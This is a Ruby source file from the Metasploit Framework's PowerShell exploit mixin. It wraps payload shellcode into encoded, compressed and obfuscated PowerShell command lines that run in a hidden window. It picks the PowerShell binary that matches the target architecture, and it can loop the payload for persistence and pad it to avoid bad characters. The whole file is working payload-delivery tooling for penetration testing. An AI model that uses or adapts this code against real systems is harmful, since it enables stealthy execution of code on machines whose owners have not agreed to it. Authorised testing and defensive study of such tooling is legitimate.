metasploit-framework/lib/msf/core/exploit/powershell.rb

381 lines
13 KiB
Ruby

# -*- coding: binary -*-
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_advanced_options(
[
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
psh.encode_code
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
psh.compress_code(eof)
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
#
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
end
end
end